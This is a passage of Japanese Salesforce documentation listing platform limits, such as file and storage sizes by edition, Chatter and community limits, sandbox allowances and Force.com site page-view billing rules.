ゴの最大サイズ
5 MBドキュメント: アップロードするドキュメン

トの最大サイズ

255 文字ドキュメント: ファイル名の最大長 (ファイル
拡張子名を含む)

Salesforce CRM Content 検索の制限
検索では、複数のファイルの種類がサポートされ、ファイルサイズに制限があります。ファイルが最大サイズ
を超える場合、そのファイル内のテキストは検索されませんが、ファイルの著者名、タグ、ファイル拡張子、
およびカスタム項目は検索されます。

検索の最大ファイルサイズファイル拡張子ファイルの種類

5 MB.htm、.html、.xhtmlHTML

25 MB.pdfPDF

25 MB.ppt、.pptx、.pptmPPT

5 MB.rtfRTF

5 MB.c、.cpp、.css、.csv、.ini、.java、.log、.sql、.txtText

25 MB.doc、.docx、.docmWord

5 MB.xls、.xlsx、.xlsmXLS

5 MB.xmlXML

関連トピック:

検索の制限
Chatter のファイル検索の制限
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Chatter のファイルの制限
Chatter 投稿またはコメントへの添付ファイルの制限です。

ファイル共有の制限
ファイルは最大100回まで共有できます。これには、人およびグループと共有するファイル、およびリンクで
共有するファイルが含まれます。ファイルの非公開での共有が最大共有回数の100に近くなった場合は、ファ
イルをフィードに投稿して公開することを検討します。

ファイルサイズの制限
Salesforce のファイルの最大ファイルサイズ制限は次のとおりです。

詳細機能

[添付ファイル] 関連リスト • 添付ファイル: 25 MB

• フィードの添付ファイル: 2 GB

[ドキュメント] タブ • 5 MB

• カスタムアプリケーションロゴ: 20 KB

Salesforce CRM Content • 2 GB

• Chatter REST APIによるアップロード時: 2 GB (ヘッダー
を含む)

• REST API によるアップロード時: 2 GB (ヘッダーを含
む)

• SOAP API によるアップロード時: 38 MB

• Bulk API によるアップロード時: 10 MB

• Google ドキュメント: 10 MB

• Visualforce によるアップロード時: 10 MB

2 GBSalesforce ファイル

添付ファイル: 5 MBSalesforce ナレッジ

データストレージとファイルストレージの制限
Salesforce エディションおよび組織内の標準ライセンスユーザ数別のストレージ割り当ての制限です。

ストレージ容量
ストレージは、次の 2 つのカテゴリに分類されます。ファイルストレージには、添付ファイル、[ファイル] ホー
ム、Salesforce CRM Content、Chatter ファイル (ユーザの写真を含む)、[ドキュメント] タブ、ナレッジ記事のカスタ
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ムファイル項目、および Site.com のアセット内のファイルが含まれます。データストレージには、次の情報が
含まれます。
• 取引先
• 記事タイプ (形式: 「記事タイプ名」)

• 記事タイプ翻訳 (形式: 「記事タイプ名」バージョン」)

• キャンペーン
• キャンペーンメンバー
• ケース
• ケースチーム
• 取引先責任者
• 契約
• カスタムオブジェクト
• メールメッセージ
• 行動
• 予測項目
• Google ドキュメント
• アイデア
• リード
• メモ
• 商談
• 商談分割
• 注文
• 見積
• 見積テンプレートのリッチテキストデータ
• ソリューション
• タグ: 固有タグ
• ToDo

データストレージ
データストレージの場合、Contact Manager Edition、Group Edition、Professional Edition、Enterprise Edition、Performance

Edition および Unlimited Edition では、1 GB またはユーザあたりの制限のいずれか大きい方が割り当てられます。
たとえば、10 人のユーザがいる Professional Edition 組織の場合は、ユーザ数 10 x ユーザあたり 20 MB = 200 MB は最
小量 1 GB よりも少ないため、1 GB が割り当てられます。100 人のユーザがいる Professional Edition 組織の場合は、
ユーザ数 100 x 20 MB = 2,000 MB であるため、最小量 1 GB よりも多くの容量が割り当てられます。
ファイルストレージ
Contact Manager Edition、Group Edition、Professional Edition、Enterprise Edition、Performance Edition、および Unlimited Edition

では、組織ごとに 10 GB のファイルストレージが割り当てられます。
組織には、標準ユーザライセンスの数に基づいて追加のファイルストレージが割り当てられます。Enterprise

Edition、Performance Edition、Unlimited Edition では、ユーザライセンスごとに 2 GB のファイルストレージが組織に
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割り当てられます。Contact Manager Edition、Group Edition、Professional Edition の組織には標準ユーザライセンスあ
たり 612 MB が割り当てられます。これはユーザライセンスあたり 100 MB と Salesforce CRM Content 機能ライセン
スに対するライセンスあたり 512 MB を合わせたものです。ユーザ数が 10 未満の組織には、ユーザライセンス
あたり 100 MB ではなく、合計 1 GB のユーザ単位のファイルストレージが割り当てられます。

メモ: Salesforce CRM Contentが有効であるかどうかにかかわらず、各 Salesforce CRM Content機能ライセンスに
追加のファイルストレージ 512 MB が割り当てられます。

ファイルストレージとデータストレージは同時に計算されないため、大量のレコードやファイルをインポート
または追加する場合、組織のディスク使用量の変化はすぐには反映されません。
次の表の最小値は、Salesforce ユーザライセンスと Salesforce Platform ユーザライセンスに適用されます。カスタ
ムユーザライセンスを使用している組織の場合、正確なストレージ容量については、Salesforceまでお問い合わ
せください。ユーザライセンスについての説明は、「ユーザライセンス」を参照してください。

ユーザライセンスあ
たりのファイルスト
レージ割り当て

組織あたりのファイ
ルストレージ割り当
て

ユーザライセンスあ
たりのデータスト
レージ割り当て

組織あたりの最小
データストレージ

Salesforce のエディ
ション

612 MB

10 GB

20 MB

1 GB

Contact Manager

Group

Professional

2 GB

Enterprise

120 MB
Performance

Unlimited

なし20 MBなし
5 MBDeveloper

20 MB (約 10,000 レ
コード)

Personal

Force.com サイトのページビューの制限
ページビューとしてカウントされる要求の制限です。
次の要求はページビューとしてカウントされます。

URL の例要求内容

http://mycompany.force.comForce.com ドメイン
http://mycompany.comカスタム Web アドレス
http://mycompany.force.com/mypageサイトと関連付けられている任意のペー

ジ
http://mycompany.force.com/Unauthorized[認証が必要] エラーページ
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URL の例要求内容

なしJavaScript Remoting などの AJAX 要求 (例:
RemoteAction)<apex:actionFunction><apex:actionPoller>

次の要求はページビューとしてカウントされません。

URL の例要求内容

http://mycompany.force.com/img/force_logo_w09.gifSalesforce 画像
http://mycompany.force.com/resource/1233771498000/background静的リソース
http://mycompany.force.com/robots.txtRobots.txt

http://mycompany.force.com/favicon.icoお気に入りアイコン

なし添付ファイルとドキュメント
http://mycompany.force.com/BandwidthExceeded[制限数を超えました] や [メンテナンス]

など、[認証が必要] 以外のエラーページ
http://mycompany.force.com/servlet/rtaImageHTML 項目に含まれる画像
http://mycompany.force.com/servlet/fileFieldカスタムファイル項目

[制限数を超えました]、[メンテナンス]、[ページがみつかりません]、および [無効なホーム] と指定されたペー
ジは、ページビューの制限および帯域幅の制限にはカウントされません。静的リソースを使用して、これらの
ページにブランド情報を表示できますが、次の制限が適用されます。
• 静的リソースは、サイズが 50 KB 以内であること。
• 静的リソースは、スタイルシート (CSS)、画像ファイル、または JavaScript ファイルであること。
• これらのページには、Apex コントローラは使用できない。
• これらのページから SOQL 操作や DML 操作は実行できない。

Force.com サイトの請求の制限
Force.com サイトに関連する制限および請求に使用される用語です。
次の用語は、Force.com サイトの制限および請求に使用されます。
• 「ページビュー」は、サイトの発信元サーバまたはキャッシュサーバのいずれかから発信されたページ数

として算出されます。
• 「帯域幅」は、サイトの発信元サーバおよびキャッシュサーバの両方から発信および受信されたメガバイ

ト数 (MB) として算出されます。
• 「サービス要求時間」は、サイトのページ生成に必要なサーバ時間の合計 (単位: 分) として計算されます。
• 「直近 24 時間」は、現在の時刻の直前の 24 時間を示します。
• 「発信元サーバ」は、サイトをホストする Web サーバを示します。
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• 「キャッシュサーバ」は、キャッシュされたサイトページを発信する CDN サーバを示します。
• 「現在の期間」は、組織で特定のページビュー数を利用できる現在のカレンダー月を示します。
Salesforce では、次の制限が Force.com サイトの月間ページビューに適用されます。
• 請求情報は、組織が購入した月間ページビューの数に基づきます。このページビュー制限は、組織の全サ

イトで累積されています。
• 組織が月間ページビュー制限の 110% に達した場合、サイト管理者と請求管理者にメール通知が送信されま

す。
• 組織で 4 か月連続してページビュー制限の 110% を超えた場合、次のカレンダー月が始まるまで、または

ページビューを追加購入するまで、サイトが無効になります。メール通知が、サイト管理者と請求管理者、
および関連するアカウントエグゼクティブに送信されます。

• 指定されたカレンダー月で、組織がページビュー制限の 300% に達した場合、次のカレンダー月が始まるま
で、またはページビューを追加購入するまで、サイトが無効になります。メール通知が、サイト管理者と
請求管理者、および関連するアカウントエグゼクティブに送信されます。

Sandbox と Sandbox ストレージの全般的な制限
Sandbox 環境の制限です。
Sandbox は別の環境にある組織のコピーであり、テストやトレーニングなどさまざまな目的に使用できます。
Sandbox は Salesforce本番組織から完全に独立しているため、Sandbox で実行する操作が Salesforce本番組織に影響
することはありません。
Sandbox には次の制限が適用されます。
• Full Sandboxは、作成または最終更新から 29 日経過すると更新できます。29 日以内に Full Sandboxを削除した

場合、置き換えるまでに、最終更新日または作成日から 29 日間待機する必要があります。
• Partial Copy Sandbox は、作成または最終更新から 5 日経過すると更新できます。5 日以内に Partial Copy Sandbox

を削除した場合、置き換えるまでに、最終更新日または作成日から 5 日間待機する必要があります。
• Developer または Developer Pro Sandbox は、1 日に 1 回更新できます。
• Enterprise Edition には、25 個の Developer Sandbox と 1 個の Partial Copy Sandbox のライセンスが含まれています。
• Performance Edition には、1 個の Full Sandbox、5 個の Developer Pro Sandbox、100 個の Developer Sandbox、1 個の

Partial Copy Sandbox のライセンスが含まれています。
• Unlimited Edition には、1 個の Full Sandbox、5 個の Developer Pro Sandbox、100 個の Developer Sandbox、1 個の Partial

Copy Sandbox のライセンスが含まれています。
• Professional Edition には、10 個のDeveloper Sandboxのライセンスが含まれています (変更セットは使用できませ

ん)。
• さらに多くの Sandbox のライセンスが必要な場合は、Salesforce に連絡して、組織で使用する Sandbox を注文

してください。
Sandbox ストレージには次の制限が適用されます。
• Partial Copy Sandbox には、5 GB のファイルストレージ制限と 5 GB のデータストレージ制限があります。
• Developer Pro Sandbox には、1 GB のファイルストレージ制限と 1 GB のデータストレージ制限があります。
• Developer Sandbox には、200 MB のファイルストレージ制限と 200 MB のデータストレージ制限があります。
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• Full Sandbox のディスク使用制限は、本番組織の制限と同じです。
• Sandbox は、ディスク使用制限に達してもメール通知を送信しません。ただし、Sandbox のディスク使用制

限に達すると、Sandboxに新しいデータを保存することはできません。ディスク使用制限を確認するには、
[設定] から [クイック検索]ボックスに「組織のディスク使用量」と入力し、Sandboxの [組織のディスク使用
量] を選択します。

パートナーポータルの制限
パートナーポータルの制限です。

パートナーポータルの最大数
組織で最大 5 個のパートナーポータルを作成できます。この数を増やすには、製品マネージャの承認が必要と
なり、詳細な使用事例が求められます。

ポータルロールの最大数
組織のポータルまたはコミュニティで使用できるロールの最大数は 5000 です。この制限には、組織のすべて
のカスタマーポータル、パートナーポータル、またはコミュニティに関連付けられたロールが含まれます。こ
の数が不必要に増加しないように、ロール数を確認して削減することをお勧めします。使用していないロール
を削除することもできます。さらに多くのロールが必要な場合は、Salesforceカスタマーサポートまでご連絡く
ださい。

パスワードポリシーの制限
ユーザパスワードの数値と使用の制限です。
パスワードおよびログインのさまざまなポリシーを設定して、組織のセキュリティを確保できます。

メモ: ユーザパスワードは 16,000 バイトを超えてはいけません。
ログイン数は 1 ユーザにつき 1 時間あたり 3,600 に制限されます。この制限は、Summer '08 後に作成された
組織に適用されます。

関連トピック:

プロファイルのパスワードポリシー項目

Salesforce コンソールの制限事項
Salesforce コンソールの使用での技術的な制限です。
Salesforce コンソールは、レコードをすばやく検索、更新、作成するためのアプリケーションです。
最高のパフォーマンスを得るために、Salesforce コンソールでLive Agentを使用するときは、Internet Explorer 8、9、
10、あるいは最新の安定したバージョンの Firefox または Google Chrome を使用することをお勧めします。Salesforce

コンソールには次の制限が適用されます。

7184

パートナーポータルの制限Salesforce の制限



• Salesforce コンソールアプリケーションにログインしている間に、他の Salesforce アプリケーションにログイ
ンすると、新規チャット要求を受け入れることができません。

• Chatter アンサーでは、システム管理者は、顧客が [支援が必要ですか?] をクリックしたときに使用できる
FAQ (よくある質問) をカスタマイズすることはできません。

• https:// を含まない URL を使用してカスタマイズすると、Internet Explorer 8 ユーザにはセキュリティの警告が
表示されます。

サイトのエディションの制限
エディション別の、サイト数、帯域幅、サービス要求時間、最大ページビューの制限です。
Site.com は、データ主導の動的な Web ページを作成および管理し、コンテンツの編集をリアルタイムで行う Web

コンテンツ管理システム (CMS) です。
次の表に、異なる Salesforce エディションでのサイトの制限を示します。

最大ページ
ビュー

サービス要求時間 (直近の
24 時間/サイトあたり)

帯域幅制限 (直近の 24 時
間/サイトあたり)

最大サイト数エディション

なし10 分500 MB1Developer Edition

500,000Sandbox 30 分
本番 60 時間

Sandbox 1 GB

本番 40 GB

25Enterprise Edition

1,000,000Sandbox 30 分
本番 60 時間

Sandbox 1 GB

本番 40 GB

25Unlimited Edition

Performance Edition

関連トピック:

Site.com のインポートの制限
Force.com サイトのページビューの制限
Force.com サイトの請求の制限

Site.com のインポートの制限
サイトおよびファイルのインポートの制限です。
インポートできるサイトの最大サイズは 2 GB です。.zip ファイルをインポートして解凍しない場合、インポー
トできる最大ファイルサイズは 50 MB です。.zip ファイルを使用する場合、インポート処理中に [ファイルを解
凍] を選択すると、最大 200 MB の .zip ファイルをインポートできます。

Web 要求の制限
Web 要求の同時使用の制限です。
Salesforce のすべてのユーザに対してリソースを確保できるように、1 つの組織で同時に送信できる長時間の処
理を要する Web 要求数に制限が適用されます。Salesforceでは、組織にログインしているすべてのユーザが同時
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に発行する要求数を監視し、その数を最大制限と比較します。こうすることで、同時要求数を最大制限未満に
保つことができます。この制限によって、リソースがすべての組織で均等に使用され、1 つの組織による過剰
使用を回避します。
組織内のユーザが発行する要求数が非常に多い場合、他のいずれかの要求が終了するまで自分の処理の実行を
待つ必要があります。たとえば、自分の組織に 100,000 人のユーザがいるとします。各ユーザは、9:00 AM に
200,000 件のレコードを含むレポートを要求します。この場合、Salesforceは、同時要求が最大数に達するまで全
ユーザのレポートを実行します。最大数に達した時点で、Salesforceでは一部のレポート処理が完了するまで追
加要求は却下されます。
同様の制限が API から発行される要求にも適用されます。

コラボレーションの制限

Chatter での承認の制限
代理承認者、承認投稿、およびサイトまたはポータルユーザの承認の制限です。
Chatter Plus の制限
Chatter Plus (Chatter Only とも呼ばれる) の機能の制限です。
フィード追跡の制限
オブジェクト、項目、およびトピックの追跡に関する制限です。
Chatter の全般的な制限
エディション、ブラウザ制限、メンションの制限による Chatter 機能の制限です。
フィードでのリストビューの制限
レコードフィードでのリストビューの制限です。
Chatter のファイル検索の制限
Chatter でのファイルの種類およびファイルサイズによる検索の制限です。
Chatter でのユーザ共有の制限
Salesforce システム管理者は、内部ユーザまたは外部ユーザを組織内の別のユーザから表示または非表示に
するようにユーザ共有を設定できます。

Chatter での承認の制限
代理承認者、承認投稿、およびサイトまたはポータルユーザの承認の制限です。
• [Chatter での承認] は代理承認者またはキューをサポートしていません。
• 投稿からの承認申請を取り消したり、再割り当てしたりすることはできません。代わりに、承認レコード

からこれらのアクションを実行します。
• サイトまたはポータルユーザからの承認申請はサポートされません。

Chatter Plus の制限
Chatter Plus (Chatter Only とも呼ばれる) の機能の制限です。
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Chatter Plus (Chatter Onlyとも呼ばれる) は、Salesforceライセンスは所有していないが、Chatterの他に一部のSalesforce

オブジェクトにアクセスする必要がある Performance Edition、Unlimited Edition、Enterprise Edition、および Professional

Edition のユーザを対象にしています。
Chatter ユーザは、Chatterの標準のユーザ、プロファイル、グループ、およびファイルにアクセスでき、さらに
次の操作を行えます。
• Salesforce の取引先と取引先責任者を参照する
• Salesforce CRM Content、アイデア、およびアンサーを使用する
• ダッシュボードとレポートにアクセスする
• ワークフローを使用し、承認する
• カレンダーを使用して活動を作成および追跡する
• 最大 10 個のカスタムオブジェクトを表示および変更する
• レコードをグループに追加する

メモ: Chatter 限定ユーザプロファイルでアクセス可能な標準 Salesforce オブジェクトのタブは、これらの
ユーザに対してデフォルトで非表示になっているため、タブを表示する必要があります。
Professional Edition の組織は、これらを実行するために [プロファイル] を有効にしておく必要があります。
詳細は、Salesforce の担当者にお問い合わせください。

制限Chatter Plus 機能

制限なし組織の Chatter Plus ライセンス
20 MBChatter Plus ユーザあたりのデータストレージ
612 MBChatter Plus ユーザあたりのファイルストレージ (Professional Edition)

2 GBChatter Plus ユーザあたりのファイルストレージ (Enterprise Edition、Performance Edition、
Unlimited Edition)

フィード追跡の制限
オブジェクト、項目、およびトピックの追跡に関する制限です。
• 個人取引先のフィード追跡が有効になっている場合、ユーザは、取引先責任者項目ではなく、取引先項目

をフォローして更新を表示できます。
• 行動のフィード追跡には、要請済みミーティングは含まれません。要請済みミーティングを確認して、行

動になってから、フィードに含めることができます。
• ユーザは Chatter フィードで活動またはナレッジ記事をフォローできますが、活動およびナレッジ記事のリ

ストビューの [アクション] 列にある [フォロー] ボタンは使用できません。
• トピックのフィード追跡を無効にすると、ユーザは新しいトピックをフォローできなくなりますが、フィー

ド追跡が有効だったときにフォローしていたトピックは引き続きフォローできます。このようなトピック
は、フォローできるユーザ、トピックおよびレコードの最大数に対してカウントされます。フィード追跡
が無効になった後でトピックのフォローを停止するには、Chatter REST API を使用します。
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外部オブジェクトに関するフィード追跡の制限
• 項目履歴管理は、外部オブジェクトでは使用できません。
• レコードフィードは、データ量の非常に多い外部データソースに対応付けられている Salesforce Connect外部

オブジェクトには使用できません。

Chatter の全般的な制限
エディション、ブラウザ制限、メンションの制限による Chatter 機能の制限です。

機能ごとの Chatter の制限
これらの制限は変更される場合があります。詳細は、Salesforce にお問い合わせください。

制限機能

グループ
3001ユーザが参加可能なグループ
30,0001組織内のグループ

制限なしグループ内のメンバー
4,000グループの情報項目の文字数
25 MBメールでグループに投稿する場合のメールの最大サ

イズ (テキストと添付ファイルを含む)

25メールでグループに投稿する場合に含めることので
きる添付ファイル数

フィード
251 つの投稿またはコメント内のメンション

ユーザの姓と名 (合計) またはグループ
名は 500 文字

メンション検索文字列の文字数

10,0001 つの投稿またはコメント内の文字数
10投稿に対していいね! と言ったか、コメントした後

に送信されるメール通知の件数

制限なしブックマーク
50お気に入り
5002フォローできる人、トピック、およびレコード

500件の最新の投稿。この制限は、プロ
ファイル、グループ、レコードフィー
ドには適用されません。

任意の時点でフィードに表示できる投稿の最大数
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制限機能

ファイル
2 GBファイル添付サイズ
100ファイルを共有できる回数

人とプロファイル
8 MBプロファイル写真のサイズ
10チャットに追加できるユーザ数
100チャットの [私のお気に入り] に追加できるユーザ数
10,000Chatter メッセージの文字数

スキル
100ユーザに割り当てられるスキル数
99スキル名の文字数

トピック
101 つの投稿でのトピック数
100単一レコードのトピック
99トピック名の文字数

1アーカイブ済みグループを除く、すべてのグループがこの制限にカウントされます。たとえば、300 グループ
(そのうち 10 グループはアーカイブ済み) のメンバーになっている場合、さらに 10 グループに参加できます。
2合計で最大500の人、トピック、およびレコードをフォローできます。自分が何件の項目をフォローしている
かを確認するには、プロファイルの [フォローしている人] リストを表示します。
Chatter でのユーザによる投稿とコメントは、顧客の該当する組織がプロビジョニングされている間は常に保持
されます。salesforce.com は次の制限を適用する権利を有します。
• システムで生成されるフィード更新追跡数。現在追跡されているフィード更新のうち、46 日以上前のもの

で、いいね! もコメントもない更新は、自動的に削除されます。そのフィード更新追跡はフィードに表示さ
れなくなります。ただし、項目追跡の監査が有効な場合、その項目の監査履歴は引き続き使用できます。

• 1 組織が 1 時間あたりに送信できるメール通知の数。

Chatter のブラウザ制限
一部のサードパーティ Web ブラウザプラグインと拡張は、Chatter の機能に干渉する可能性があります。Chatter

が正常に機能しなかったり、整合性のない動作をする場合は、Web ブラウザのプラグインと拡張を無効にして
から、もう一度試してみてください。
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Chatter メンションの制限
アーカイブされたグループ、リストに記載しないグループ、顧客グループ、自分がメンバーではない非公開グ
ループにはメンションできません。非公開グループのメンバーでないユーザが非公開グループの投稿またはコ
メントでメンションされると、メンションされたユーザに「すべてのデータの編集」権限がないかぎり、メン
ションは灰色のリンクで表示されます。この権限がある場合は、リンクが青色で表示されます。ただし、
Salesforceセキュリティと共有ルールは引き続き適用されます。非公開グループのメンバーでないユーザには非
公開グループへのアクセス権がなく、更新は表示されずそれに関する通知も行われません。

関連トピック:

Chatter での承認の制限
Chatter Plus の制限
Chatter のファイルの制限
Chatter のファイル検索の制限

フィードでのリストビューの制限
レコードフィードでのリストビューの制限です。
標準オブジェクトまたはカスタムオブジェクトのリストビューで [フィード] をクリックすると、リスト
ビューに含まれるレコードの過去 30 日分の更新情報が Chatter フィードに表示されます。
次の制限がリストビューの Chatter フィードに適用されます。
• フィード追跡オブジェクトの中には、リストビューに関連付けられた Chatter フィードがないものもありま

す。現在、商談、取引先、ケース、リード、キャンペーン、取引先責任者、およびカスタムオブジェクト
に関する Chatter フィードをリストビューに表示できます。

• リストビューでドラッグアンドドロップによるスケジュールが有効な場合、リストビューに取引先、取引
先責任者、リードに関する Chatter フィードは表示されません。

Chatter のファイル検索の制限
Chatter でのファイルの種類およびファイルサイズによる検索の制限です。
検索では、複数のファイルの種類がサポートされ、ファイルサイズに制限があります。ファイルが最大サイズ
を超える場合、そのファイル内のテキストは検索されませんが、ファイルの名前、説明、種類、および所有者
は検索されます。

検索の最大ファイルサイズファイル拡張子ファイルの種類

5 MB.htm、.html、.xhtmlHTML

25 MB.pdfPDF

25 MB.ppt、.pptx、.pptmPPT

5 MB.rtfRTF

5 MB.c、.cpp、.css、.csv、.ini、.java、.log、.sql、.txtテキスト
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検索の最大ファイルサイズファイル拡張子ファイルの種類

25 MB.doc、.docx、.docmWord

5 MB.xls、.xlsx、.xlsmXLS

5 MB.xmlXML

関連トピック:

検索の制限
Salesforce CRM Content の制限

Chatter でのユーザ共有の制限
Salesforce システム管理者は、内部ユーザまたは外部ユーザを組織内の別のユーザから表示または非表示にする
ようにユーザ共有を設定できます。
Chatter では、共有されないユーザを引き続き表示し、互いにやりとりできるという例外があります。たとえ
ば、Chatter 公開グループでは、ユーザ共有に関係なく、グループへのアクセス権を持つすべてのユーザは、す
べての投稿や、投稿したユーザの名前を表示でき、投稿に対してコメントしたユーザにメンションすることが
できます。

例:  Mary と Bob が互いに表示されずやりとりできないようにユーザ共有を設定したとします。Mary は、
Chatter 公開グループで投稿します。ユーザ共有により、Bob の名前はメンションドロップダウンリストに
表示されないため、Mary は Bob にメンションできません。ただし、Bob は Mary の投稿を表示できるので、
Mary の投稿にメンションします。これで、Mary の投稿に対する次のコメントで、Mary は Bob にメンション
できるようになります。

また、共有されていないユーザでもメンションドロップダウンリストにはお互いが表示されるという例外もあ
ります。

例:  Sue が Chatter で Edgar とやりとりしたことがあるとします (投稿に対していいね! と言う、コメントす
る、メンションするなど)。その後、Sue に Edgar が表示されないようにユーザ共有を設定します。Sue が公
開 Chatter グループに投稿します。この場合、以前のやりとりから Edgar の名前がメンションドロップダウ
ンリストに表示されるため、Sue は Edgar にメンションできます。ただし、ユーザ共有によって Edgar が表
示されない設定になっているため、Sue が Edgar のメンションをクリックするとエラーが表示されます。

コミュニティの制限

コミュニティのユーザ、ポータルロール、モデレーション、レポート作成などに関する制限です。

コミュニティの最大数の制限
Salesforce組織では、最大100個のコミュニティを使用できます。有効なコミュニティ、無効なコミュニティ、
およびプレビューコミュニティ (Force.com サイトを含む) がこの制限に対してカウントされます。
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コミュニティの使用制限
コミュニティの使用状況は、1 日、1 か月、および 1 年あたりの制限値で管理されます。これらの制限値を
理解することが、コミュニティの成功の鍵となります。Salesforce は、制限値を超えて超過分を購入するこ
とがないように、コミュニティの使用状況を監視するために役立つツールを提供します。
コミュニティのユーザ制限
コミュニティ種別に応じたユーザ制限です。
ポータルロールの制限
組織のポータルロールの制限です。
コミュニティのグループメール制限
コミュニティ内のグループに対するメール制限です。
個人取引先コミュニティユーザの制限
1 人のユーザが所有できる個人取引先外部ユーザの数の制限です。
Communities のレポートおよびダッシュボードの制限
コミュニティで [レポート] タブと [ダッシュボード] タブが公開されている場合、外部ユーザは、一部制限
付きでレポートとダッシュボードにアクセスできます。
コミュニティのナビゲーショントピックの制限
カスタマーサービス (Napili) コミュニティで使用できるナビゲーショントピックおよびサブトピックの最大
数。
コミュニティモデレーションの制限
コミュニティモデレーションの制限により、コミュニティのパフォーマンスが最適化されます。

コミュニティの最大数の制限
Salesforce 組織では、最大 100 個のコミュニティを使用できます。有効なコミュニティ、無効なコミュニティ、
およびプレビューコミュニティ (Force.com サイトを含む) がこの制限に対してカウントされます。
組織のこの制限を確認するには、[設定] から、[クイック検索]ボックスに「コミュニティ」と入力し、[すべて
のコミュニティ] を選択します。[最大コミュニティ数] 項目に 100 と表示されます。

関連トピック:

コミュニティの制限

コミュニティの使用制限
コミュニティの使用状況は、1 日、1 か月、および 1 年あたりの制限値で管理されます。これらの制限値を理
解することが、コミュニティの成功の鍵となります。Salesforce は、制限値を超えて超過分を購入することがな
いように、コミュニティの使用状況を監視するために役立つツールを提供します。

最大ページビューサービス要求時間 (直近の 24 時
間/サイトあたり)

帯域幅制限 (直近の 24 時間/コ
ミュニティあたり)

エディション

なし10 分500 MBDeveloper Edition
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最大ページビューサービス要求時間 (直近の 24 時
間/サイトあたり)

帯域幅制限 (直近の 24 時間/コ
ミュニティあたり)

エディション

500,000Sandbox 30 分
本番 60 時間

Sandbox 1 GB

本番 40 GB

Enterprise Edition

1,000,000Sandbox 30 分
本番 60 時間

Sandbox 1 GB

本番 40 GB

Unlimited Edition

Performance Edition

帯域幅
コミュニティの発信元サーバとキャッシュサーバの両方から発信および受信されたメガバイト数 (MB)。発
信元サーバは、コミュニティサイトをホストする Web サーバを示します。キャッシュサーバは、キャッシュ
されたコミュニティサイトページを発信する CDN サーバを示します。「直近 24 時間」は、現在の時刻の直
前の 24 時間を示します。

サービス要求時間
コミュニティのページ生成に必要なサーバ時間の合計 (分単位)。
「直近 24 時間」は、現在の時刻の直前の 24 時間を示します。

ページビュー
非認証コミュニティユーザからの、コミュニティに関連付けられたページの読み込み要求。認証コミュニ
ティユーザからの要求はページビューとしてカウントされません。キャッシュされたページビューもカウ
ントされます。
ページビューとして数える要求
次の要求はページビューとしてカウントされます。

例要求内容

http://mycommunity.force.comコミュニティ Force.com ドメイン
http://mycommunity.comカスタムコミュニティ Web アドレス

http://mycommunity.force.com/mypageコミュニティと関連付けられている任意のページ
http://mycommunity.com/mypage

http://mycommunity.com/loginコミュニティと関連付けられているシステムページ
(ログイン、ログアウト情報、パスワードを忘れた場
合のページなど)

ページビューとして数えない要求
次の要求はページビューとしてカウントされません。
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例要求内容

http://mycommunity.force.com/unauthorized[認証が必要] エラーページ

AJAX 要求: • Apex: RemoteAction

• JavaScript Remoting • Visualforce: <apex:actionFunction>

• Visualforce

http://mycommunity.force.com/robot.txtページに読み込まれたリソース (robots.txt、お気
に入りアイコンなど)

http://mycommunity.com/favicon

添付ファイルとドキュメント
http://mycommunity.force.com/BandwithExceeded[制限数を超えました] や [メンテナンス] など、[認証

が必要] 以外のエラーページ

ページ内のタブクリック
http://mycommunity.force.com/servlet/rtaImageHTML 項目に含まれる画像
http://mycommunity.force.com/servlet/fileFieldカスタムファイル項目

ページビューの制限
次の表に、それぞれのエディションでのコミュニティページビューの制限を示します。この制限は、組織
内のすべてのコミュニティに適用されます。

最大ページビューコミュニティの最大数エディション

500,000/月50Enterprise Edition

1,000,000/月50Unlimited Edition

Performance Edition

ページビューの制限には次の注意事項があります。
• 組織のページビューエンタイトルメントは、エディションに含まれるページビューに Salesforce から購入

した追加ページビューを加えた合計です。
• Salesforce は 12 か月の遡及期間を調べてページビューの超過を計算します。コミュニティページビューが

組織のページビュー制限を超えた場合は、Salesforce に連絡して超過分を購入する方法を確認してくださ
い。コミュニティメンバーと未承認ユーザは、組織がページビュー制限を超えている場合でもコミュニ
ティにアクセスできます。

カスタマーコミュニティを設定している Acme Enterprises を見てみましょう。Enterprise Edition 組織には 1 か月
あたり 500,000 ページビューが含まれています。Acme はコミュニティの人気が急増することを見越して、さ
らに 1 か月あたり 500,000 ページビューを購入しました。ページビューエンタイトルメントの合計は 1 か月
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あたり 100 万ページビューになります。そのため、12 か月の遡及期間内に、Acme のコミュニティには 1200

万ページビュー (12 x 100 万ページビュー制限) が許可されます。
コミュニティで特定の月の使用量が急増し、割り当てられている 100 万の制限を超えました。Acme は超過
料金を請求されるでしょうか? 翌月は 100 万ページビューよりも少なかったため、請求されません。12 か月
の遡及期間終了時に計算が行われるときに、すべて平均されます。つまり、コミュニティが割り当てられ
た制限を超えないためには、12 か月の遡及期間に平均して 1 か月あたり 100 万ページビュー未満である必
要があります。
監視の制限
コミュニティのページビュー制限を正確に監視するには、AppExchange から入手できる Community Management

Package for Communities の Page Views - Monthly Trend レポートを使用します。コミュニティに適した次のいずれ
かのパッケージをインストールします。
• Community Management Package for Communities with Chatter

• Community Management Package for Communities without Chatter

組織の [組織情報] セクションでもページビューの使用状況を確認できます。[設定] から、[クイック検索]

ボックスに「組織情報」と入力し、[組織情報] をクリックします。

メモ:  [使用量ベースのエンタイトルメント] に表示されるページビューの許容量は、ご使用の Salesforce

エディションの許容量を正確に反映していない可能性があります。

関連トピック:

コミュニティの制限

コミュニティのユーザ制限
コミュニティ種別に応じたユーザ制限です。
リリースの問題およびサービス品質の低下を回避するため、コミュニティ内のユーザ数が以下の制限を超えな
いようにすることをお勧めします。この制限を超えるユーザを必要とする場合は、Salesforceのアカウントエグ
ゼクティブにお問い合わせください。コミュニティが成長していてユーザ数を増やす必要がある場合には、
ニーズを満たすために製品を拡張する方法について Salesforce のアカウント担当者にお問い合わせください。

ユーザ数コミュニティ種別

800,000パートナーまたはカスタマーコミュニティプラス
10,000,000カスタマー

関連トピック:

コミュニティの制限

ポータルロールの制限
組織のポータルロールの制限です。
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組織のポータルまたはコミュニティで使用できるロールの最大数は 5000 です。この制限には、組織のすべて
のカスタマーポータル、パートナーポータル、またはコミュニティに関連付けられたロールが含まれます。こ
の数が不必要に増加しないように、ロール数を確認して削減することをお勧めします。使用していないロール
を削除することもできます。さらに多くのロールが必要な場合は、Salesforceカスタマーサポートまでご連絡く
ださい。

関連トピック:

コミュニティの制限

コミュニティのグループメール制限
コミュニティ内のグループに対するメール制限です。
コミュニティでは、この設定を選択したグループのメンバーが 10,000 人を超えると、[すべての投稿でメール送
信] オプションが無効になります。このオプションを選択しているすべてのメンバーが、自動的に [毎日のダ
イジェスト] に切り替えられます。

